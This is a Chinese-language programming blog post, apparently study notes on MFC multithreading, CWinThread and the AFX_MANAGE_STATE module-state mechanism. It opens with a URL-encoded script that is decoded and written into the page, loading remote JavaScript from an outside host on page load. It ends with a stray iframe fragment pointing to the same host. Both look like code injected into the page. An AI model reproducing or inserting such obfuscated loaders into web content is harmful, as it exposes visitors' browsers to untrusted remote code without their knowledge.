HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
继续学习MFC——第11章多线程技术
要知道MFC类一般不是线程安全的,这点要时刻牢记。
书中前两个小节简单说了一下进程和线程:
对于Windows平台,进程简而言之就是一个应用程序,线程实际上是处理器寄存器的一个映像。线程包括应用程序在哪儿执行代码和线程的本地变量等信息。进程可以有多个线程,共享该进程中的全局变量和资源,但是拥有各自的执行点和本地变量。
MFC里面用CWinThread对象表示所有线程。CWinApp恰好从CWinThread派生,代表主线程。
为了使用一个线程,需要从CWinThread派生出自己的类,然后重载InitInstance, ExitInstance,并通过AfxBeginThread来创建线程对象。
CWinThread中包含几个成员变量和函数,我们关心如下几个:
成员
定义
m_pMainWnd
该线程的主窗口
m_pActiveWnd
当前活动窗口
m_hThread, m_nThreadID
线程句柄和ID
InitInstance, ExitInstance
重载提供线程的初始化和终结
PreTranslateMessage
过滤消息,处理快捷键
还有不少,到时候参考帮助文档吧。
线程同步,看MFC不如看Windows SDK更清楚一些,MFC提供的如下几个同步对象类:CEvent, CMutex, CSemaphore, CCriticalSection等。
书中给出了一个MFC多线程的例子,我感兴趣的地方是每个DLL函数入口都要求使用AFX_MANAGE_STATE宏,MFC源代码中也有不少地方在使用。让我们仔细研究一下它。
典型用法为:AFX_MANAGE_STATE(AfxGetStaticModuleState());
该宏定义在afxstat_.h中(VC7):
#define
AFX_MANAGE_STATE(p) AFX_MAINTAIN_STATE2 _ctlState(p);
// 用 p 构造结构
注意:仅当 _AFXDLL被定义时才有。无 _AFXDLL定义时该宏什么也不做。
其中AFX_MAINTAIN_STATE2定义为一个结构:
struct
AFX_MAINTAIN_STATE2
{
explicit
AFX_MAINTAIN_STATE2(AFX_MODULE_STATE* pModuleState);
// 显式构造函数。
~AFX_MAINTAIN_STATE2();
// 这里面一定还干着什么勾当,我们一会去看
protected
:
AFX_MODULE_STATE* m_pPrevModuleState;
// 下面接着去看
_AFX_THREAD_STATE* m_pThreadState;
};
先看看AfxGetStaticModuleState()函数:(实现于dllmodul.cpp)
static
_AFX_DLL_MODULE_STATE afxModuleState;
// 在_AFXDLL定义下生效
AFX_MODULE_STATE* AFXAPI AfxGetStaticModuleState()
{
AFX_MODULE_STATE* pModuleState = &afxModuleState;
// 返回模块状态对象地址
return
pModuleState;
}
_AFX_DLL_MODULE_STATE的定义如下:
class
_AFX_DLL_MODULE_STATE :
public
AFX_MODULE_STATE
// 派生于 AFX_MODULE_STATE
{
public
:
// AfxWndProcDllStatic 函数包装 AfxWndProc 调用,在前面调用 AFX_MANAGE_STATE
_AFX_DLL_MODULE_STATE() : AFX_MODULE_STATE(TRUE, AfxWndProcDllStatic, _MFC_VER) {}
};
LRESULT CALLBACK AfxWndProcDllStatic(HWND hWnd, UINT nMsg, WPARAM wParam, LPARAM lParam)
{
AFX_MANAGE_STATE(&afxModuleState);
// 哦,这里也。。。
return
AfxWndProc(hWnd, nMsg, wParam, lParam);
}
下面是AFX_MODULE_STATE的定义,好复杂呀:
// AFX_MODULE_STATE (global data for a module)
class
AFX_MODULE_STATE :
public
CNoTrackObject
{
public
:
// 仔细观察这个构造函数的参数名字和类型
AFX_MODULE_STATE(BOOL bDLL, WNDPROC pfnAfxWndProc, DWORD dwVersion,BOOL bSystem = FALSE);
~AFX_MODULE_STATE();
CWinApp* m_pCurrentWinApp;
// AfxGetApp() 返回就是它
HINSTANCE m_hCurrentInstanceHandle;
// AfxGetInstanceHandle() 返回它
HINSTANCE m_hCurrentResourceHandle;
// AfxGetResourceHandle() 返回它
LPCTSTR m_lpszCurrentAppName;
// AfxGetAppName() 返回它
BYTE m_bDLL;
// TRUE if module is a DLL, FALSE if it is an EXE
BYTE m_bSystem;
// TRUE if module is a "system" module, FALSE if not
BYTE m_bReserved[2];
// padding
WNDPROC m_pfnAfxWndProc;
DWORD m_dwVersion;
// version that module linked against
// define thread local portions of module state
CThreadLocal<AFX_MODULE_THREAD_STATE> m_thread;
// 这是一个线程局部变量
// 这下面还有一大堆我们删减掉了。。。
};
注意:有些成员外面带有_AFXDLL宏定义才生效的我们删减掉了。
这时,我们应该知道前面的afxModuleState里面都有些什么东西啦。
现在我们明白了AfxGetStaticModuleState()返回了什么,让我们接着看AFX_MAINTAIN_STATE2的构造和析构函数:
AFX_MAINTAIN_STATE2::AFX_MAINTAIN_STATE2(AFX_MODULE_STATE* pNewState)
{
m_pThreadState = _afxThreadState;
// ?好像是当前线程的状态
m_pPrevModuleState = m_pThreadState->m_pModuleState;
// 保存原来的模块状态
m_pThreadState->m_pModuleState = pNewState;
// 切换到新的模块
}
很奇怪,没有找到AFX_MAINTAIN_STATE2的析构函数,只能拿AFX_MAINTAIN_STATE的析构函数来分析了:(估计差不多)
AFX_MAINTAIN_STATE::~AFX_MAINTAIN_STATE()
{
_AFX_THREAD_STATE* pState = _afxThreadState;
pState->m_pModuleState = m_pPrevModuleState;
// 恢复到原来保存的模块状态
}
至此,我们应该能够理解定义AFX_MAINTAIN_STATE2 _ctlState的含义了,在定义处调用了构造函数,完成模块状态切换;在析构(一般是函数返回处)中切换回去。
[
好像噢
]每个线程(CWinThread派生的)都有自己的线程状态(_afxThreadState),而HWND->CWnd, HMENU->CMenu, HDC->CDC, HGDIOBJ->CGdiObject等对象映射表都是线程相关的,所以。。。在一个线程无法映射另一个线程的HWND, HMENU等对象的:)
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">